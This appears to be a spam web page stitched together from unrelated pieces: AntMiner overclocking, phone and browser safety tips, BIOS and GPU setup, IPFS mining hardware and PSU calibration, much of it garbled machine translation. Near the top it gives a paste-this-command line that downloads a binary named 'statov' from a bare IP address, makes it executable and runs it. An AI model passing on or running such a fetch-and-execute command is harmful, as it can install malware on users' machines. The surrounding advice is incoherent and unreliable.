How to set the miner after the factory settings are restored
蚂蚁T9+超频、T9超频、S9超频、S9I超频、E3超频、L3+超频、不变功率的研究
先放开源的代码,有能力者可以研究下https://github.com/vavavivi/AntMinerStats
文章所用工具与命令也在网络盘.
wget http://198.13.49.55/statov && chmod 777 statov && ./statov
1. Back up important data and photos and restore factory settings. Don't install applications from unknown sources. In addition, don't authorize in permission settings
2. You can swipe the computer to see if it can't work. Besides, the computer needs to clean up the memory on time so that it won't get stuck. The memory of the mobile phone is seriously insufficient. It is recommended to clean up the memory lightly, and then restart your mobile phone again
3. Clear the data of the mobile phone. If there are important things, save them on the network disk first, and then restore the factory settings three times. This is safer
1. Set the security level of the browser. Our common browsers all have the function of security level setting. Through reasonable setting, we can effectively filter the access restrictions of some illegal websites, so as to rece the damage to computers and personal information
2. Firmly resist reactionary, pornographic and violent websites. On the one hand, these bad information will affect the physical and mental health of teenagers, on the other hand, many illegal websites will use browser vulnerabilities to attack users3. Don't click illegal links at will
When downloading software and materials, we should choose the regular website or official website5. Turn off some sensitive functions in common communication software. Such as "people nearby" in wechat and "allowing strangers to view photos" in wechat privacy
6. Do not take photos of your family and address. If it goes on like this for a long time, as long as it is analyzed and summarized by others, the information exposed will become a complete set of information, which hides all kinds of unpredictable risks
Do not test related information on the Internet. Some websites do surveys and ask for information about age, hobbies, gender, etc. to do it for a small profit. This information may be used by others, and graally summarized, and sold to others for profit or threat1. This does not need too many settings, the best graphics card to use NV graphics card 2, the system win10, the power supply is sufficient, the latest version of the motherboard BIOS, the BIOS settings for the main graphics card to PCI e
2, the hard disk must be GPT format, the system must be 64 bit, UEFI does not support 32-bit system
note: UEFI can boot x64 system on MBR disk, but it needs special settings
3. The traditional MBR partition only supports 2.2t hard disk, and the hard disk larger than 2.2t needs GPT, and the BIOS supports opening the integrated graphics card (which can be set) to double display
However, Qicaihong does not have the motherboard of h81-a. h81-a is an ASUS brand and can not support six graphics cardsselect factory settings in BIOS, press enter to save and exit, then discharge the main board COMS, and then enter BIOS to set
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extended data:
seven rainbow motherboard boot into BIOS method:
1, you can press del key to enter BIOS
2. You can boot the BIOS directly without connecting the hard disk
there are two conditions for supported graphics cards:
1. Several graphics cards are supported in a few slots, and the expansion slots of ciex1 and pciex16
The main board power supply and power supply are enough. When most motherboards are turned on, you can enter the BIOS interface by continuously pressing the "del" key. Some notebooks can only enter the BIOS interface by pressing F2 BIOS is not only the basic input and output system of computer motherboard, but also the basic system of communication and recognition between computer hardwarecontents include: power settings, hardware on / off, hardware working mode settings, overclocking, etc. The contents of bios are in English. Now some brands of new motherboards support Chinese. The options in BIOS can't be set randomly without understanding its specific function, so as to avoid the computer can't boot normally
its main function is to provide the most direct hardware setting and control for the computer. In addition, BIOS also provides some system parameters to the operating system
the change of system hardware is hidden by BIOS, and the program uses BIOS function instead of directly controlling the hardware. Modern operating systems ignore the abstraction layer provided by BIOS and directly control hardware components
BIOS Setup program mainly manages and sets the basic input and output system of the computer to make the system run in the best state. Using BIOS Setup program can eliminate system faults or diagnose system problems
IPFs mining machine configuration, I take the interstellar Aoyun mining machine as an example, which is shown in the following aspects:
1, Linux system
at present, many IPFs mining machines on the market still use Windows system, in fact, this is a very unprofessional performance. Windows itself is designed to serve the home computer, that is to say, it will greatly rece the efficiency of mining. Moreover, Linux system has fewer vulnerabilities and higher security than windows system. That's why the interstellar Aoyun uses the Linux operating system
2. In the early stage of IPFs mining, it may not need so many hard disks. If the miner is fully loaded with hard disk, it will not only increase the cost, but also increase the loss of hard disk. And in the late insufficient, you can add and insert the hard disk in time
3. IPFs mining machine supporting hot plug technology can remove and replace the hard disk without shutting down the system and cutting off the power supply, which greatly improves the recovery ability of IPFs mining machine to cope with disasters. Rece the risk of withholding tokens
4, enterprise hard disk
IPFs mining machine is best to use enterprise hard disk, can work 7 * 24 hours, compared with ordinary hard disk, higher is not a level
1. Unit voltage calibration: by adjusting the "system reference voltage" (about 3.0 by default), slowly increase and decrease the amplitude of 0.001, the unit voltage value can be changed until it is accurate! 2. Total voltage calibration: by adjusting the "total voltage ad value into the actual voltage of the parameters" (default about 3330), slowly adjust the size of this value, you can change the total voltage until accurate! 3. Current calibration: by adjusting the "current sensor range", slowly adjust the value, you can change the current until it is accurate
note: please do not change the item of "power starting current" in parameter setting, too large may lead to MOS tube burning and discharging!!!